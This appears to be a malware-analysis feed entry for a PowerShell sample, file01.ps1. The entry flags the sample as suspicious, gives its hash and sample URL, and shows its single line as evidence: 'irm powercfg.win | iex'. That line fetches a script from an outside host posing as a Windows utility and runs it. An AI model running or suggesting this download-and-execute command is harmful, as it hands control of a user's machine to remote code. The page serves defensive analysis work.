Suspicious 80% Download

file01.ps1

Remote code execution via IEX

IRM response piped to IEXPowerShell evaluates an HTTP response returned by Invoke-RestMethod
SHA-256c0fc88748c4c1e0b0641ec912c7f5643dd844989646f540b4d0a2a513fb23d93
URLhttps://tria.ge/api/v0/samples/260828-xtmfaasdqh/sample
MaleculeO(C)H₂(CmPo)

Evidence

IRM response piped to IEX line 1
1irm powercfg.win | iex

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.